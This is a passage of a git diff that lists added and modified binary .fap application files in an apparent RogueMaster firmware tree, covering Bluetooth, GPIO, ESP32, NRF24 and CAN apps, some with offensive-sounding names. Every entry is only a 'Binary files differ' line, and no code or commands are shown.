diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/anki_remote.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/anki_remote.fap index a35b7953e..bb35faf99 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/anki_remote.fap and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/anki_remote.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/ble_clicker.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/ble_clicker.fap new file mode 100644 index 000000000..1594ef3f9 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/ble_clicker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/ble_spam.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/ble_spam.fap index 2447bb1b1..633fd4a67 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/ble_spam.fap and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/ble_spam.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/bthome.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/bthome.fap new file mode 100644 index 000000000..e1fff5a28 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/bthome.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/claude_remote_ble.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/claude_remote_ble.fap new file mode 100644 index 000000000..6d3a7d59f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/claude_remote_ble.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/cookie_clicker.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/cookie_clicker.fap index 1de6f479c..b1fb99504 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/cookie_clicker.fap and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/cookie_clicker.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/govee_control.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/govee_control.fap index 4fd3c1a6f..b687c05dc 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/govee_control.fap and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/govee_control.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/hid_ble.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/hid_ble.fap index 343d0f7a7..0b954e1db 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/hid_ble.fap and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/hid_ble.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/magicband_plus_lights.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/magicband_plus_lights.fap index d225c0bc8..ce9df0a9d 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/magicband_plus_lights.fap and b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/magicband_plus_lights.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/24cxxprog.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/24cxxprog.fap new file mode 100644 index 000000000..83d79485f Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/24cxxprog.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/401_digilab.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/401_digilab.fap index b84efe808..cd2741482 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/401_digilab.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/401_digilab.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/401_light_msg.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/401_light_msg.fap index 4c14950bc..412b2f2ee 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/401_light_msg.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/401_light_msg.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/avr_flasher.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/avr_flasher.fap index 02ffcffde..2dceb4a54 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/avr_flasher.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/avr_flasher.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/spi_mem_manager.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/spi_mem_manager.fap index f57b49f28..073d164dd 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/spi_mem_manager.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/spi_mem_manager.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ble_killer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ble_killer.fap index bc0b2c8c5..78a5dd6a1 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ble_killer.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ble_killer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ble_scanner.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ble_scanner.fap new file mode 100644 index 000000000..25a6a3df8 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ble_scanner.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/bt_audio.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/bt_audio.fap index e8be74fc1..f2790b767 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/bt_audio.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/bt_audio.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_marauder.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_marauder.fap index 33ef0fc8d..4072d7638 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_marauder.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_marauder.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/camera_suite.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/camera_suite.fap index 4922ca318..35f95c775 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/camera_suite.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/camera_suite.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp_flasher.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp_flasher.fap index c58cd6ee5..8002d35dd 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp_flasher.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp_flasher.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/evil_ble.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/evil_ble.fap new file mode 100644 index 000000000..7b505baa3 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/evil_ble.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/evil_portal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/evil_portal.fap index 17dfd3479..8ded0a3ec 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/evil_portal.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/evil_portal.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_downloader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_downloader.fap index b9eb1e84c..74c57fad1 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_downloader.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_downloader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_library.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_library.fap index 677407ce3..e3b7f811e 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_library.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_library.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_map.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_map.fap index 8201ca53a..c92dde89d 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_map.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_map.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_rpi.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_rpi.fap index 1428ea118..ad0fe55fd 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_rpi.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_rpi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_social.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_social.fap index 0551d7e62..c97c7bcd4 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_social.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_social.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_trader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_trader.fap index 1782c016f..efb0ad3a3 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_trader.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_trader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_weather.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_weather.fap index bef69878b..18a145258 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_weather.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_weather.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_wifi.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_wifi.fap index cf69f97f1..5ba003e79 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_wifi.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_wifi.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_world.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_world.fap index b7d77bcba..71f2aeaef 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_world.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_world.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/free_roam.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/free_roam.fap index 051283b42..5f8708db7 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/free_roam.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/free_roam.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/gemini_ia.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/gemini_ia.fap index 91aacc55b..bee355c62 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/gemini_ia.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/gemini_ia.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ghost_esp.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ghost_esp.fap index afebf6e49..84acaa0e0 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ghost_esp.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ghost_esp.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/postman.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/postman.fap index 1f619c7b4..e47b3e801 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/postman.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/postman.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/rayhunter_client.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/rayhunter_client.fap new file mode 100644 index 000000000..c6c51c9de Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/rayhunter_client.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/rogue_ap_detector.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/rogue_ap_detector.fap new file mode 100644 index 000000000..c7a820818 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/rogue_ap_detector.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/web_crawler.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/web_crawler.fap index 5610b3d5c..90f0e9055 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/web_crawler.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/web_crawler.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wendigo.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wendigo.fap index 46db0eeda..c4e2a63b1 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wendigo.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wendigo.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_marauder.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_marauder.fap index 01715e9bf..172cd4f60 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_marauder.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_marauder.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/ifttt_button.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/ifttt_button.fap index f29de0a89..b123a0294 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/ifttt_button.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/ifttt_button.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap index 7b52693b4..d1dab8407 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap index 6a6622499..d546c983e 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap index f0e7c27d6..ec8729cf8 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap index f1e43830c..d1801269c 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/gb_printer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/gb_printer.fap index bdf92a0b9..cb6ec810e 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/gb_printer.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/gb_printer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap index 0b7444be3..15be6942d 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/fz_nrf24_jammer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/fz_nrf24_jammer.fap index 9be03b80d..a79694e2a 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/fz_nrf24_jammer.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/fz_nrf24_jammer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/nrf24_jammer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/nrf24_jammer.fap index 996bce9d2..bab738964 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/nrf24_jammer.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/nrf24_jammer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap index 2e044379d..b3827dc93 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap index e3f7a85c9..f5affa8fc 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/vgm_game_remote.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/vgm_game_remote.fap index 8d484fb72..4cb75a729 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/vgm_game_remote.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/vgm_game_remote.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/video_game_module_tool.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/video_game_module_tool.fap index 100ef4b6c..225ae3188 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/video_game_module_tool.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/video_game_module_tool.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/air_stats.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/air_stats.fap new file mode 100644 index 000000000..c691fb39b Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/air_stats.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/analog_output.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/analog_output.fap index 8a8428797..3213606c9 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/analog_output.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/analog_output.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/bmi160_air_mouse.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/bmi160_air_mouse.fap index b7ead7333..605f3ef8f 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/bmi160_air_mouse.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/bmi160_air_mouse.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/bunnyconnect.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/bunnyconnect.fap index d7ac3d1ff..d4f364305 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/bunnyconnect.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/bunnyconnect.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/can_commander.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/can_commander.fap index 82cddcd1e..bb81458ec 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/can_commander.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/can_commander.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/can_transceiver.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/can_transceiver.fap index b5f81e474..e0a0c2c89 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/can_transceiver.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/can_transceiver.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/canbus.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/canbus.fap index 0b6984afe..a2d148730 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/canbus.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/canbus.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/canbus_attack_app.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/canbus_attack_app.fap index 4e329502a..39397f8f8 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/canbus_attack_app.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/canbus_attack_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/delfyrtl.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/delfyrtl.fap index d7bfa6b51..a63473d13 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/delfyrtl.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/delfyrtl.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/digimon_fcom.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/digimon_fcom.fap index 67de71eff..6cb04e99c 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/digimon_fcom.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/digimon_fcom.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/evil_bw16.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/evil_bw16.fap index fc5743f34..893fa6ecf 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/evil_bw16.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/evil_bw16.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/fencing_testbox.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/fencing_testbox.fap index bf674be0f..14898d669 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/fencing_testbox.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/fencing_testbox.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/flip_gemini.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/flip_gemini.fap index f1af81fb3..767714643 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/flip_gemini.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/flip_gemini.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/flip_telegram.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/flip_telegram.fap index 3c3bc878d..645c46a34 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/flip_telegram.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/flip_telegram.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/fm_radio.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/fm_radio.fap index c9b9596c7..b46f8bdeb 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/fm_radio.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/fm_radio.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/fmradio_controller_pt2257.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/fmradio_controller_pt2257.fap new file mode 100644 index 000000000..649198b07 Binary files /dev/null and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/fmradio_controller_pt2257.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_explorer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_explorer.fap index ac55fe5ed..103759300 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_explorer.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_explorer.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_rgb_led.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_rgb_led.fap index 0c2830161..e87a7fc27 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_rgb_led.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_rgb_led.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gs1_rfid_parser.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gs1_rfid_parser.fap index 6c74b83bd..b89e2deff 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gs1_rfid_parser.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gs1_rfid_parser.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/hc11_modem.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/hc11_modem.fap index 369595403..b38d394e3 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/hc11_modem.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/hc11_modem.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ina_meter.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ina_meter.fap index db152a767..40d1eb9a6 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ina_meter.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ina_meter.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/longwave_clock.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/longwave_clock.fap index 7b3dc51e5..a3f7d322f 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/longwave_clock.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/longwave_clock.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_app.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_app.fap index 33c267c5a..85a694943 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_app.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/loradar_app.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/loradar_app.fap index 3e66d5cd4..671bc77ee 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/loradar_app.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/loradar_app.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/magspoof.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/magspoof.fap index b4294cf5e..239c0185b 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/magspoof.fap and b/Applications/Custom (UL, RM)/RogueMaster/GPIO/magspoof.fap differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/modbus.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/modbus.fap index b06600f0f..4f4ca21f3 100644 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/modbus.fap and b/Applications/Custom (UL, 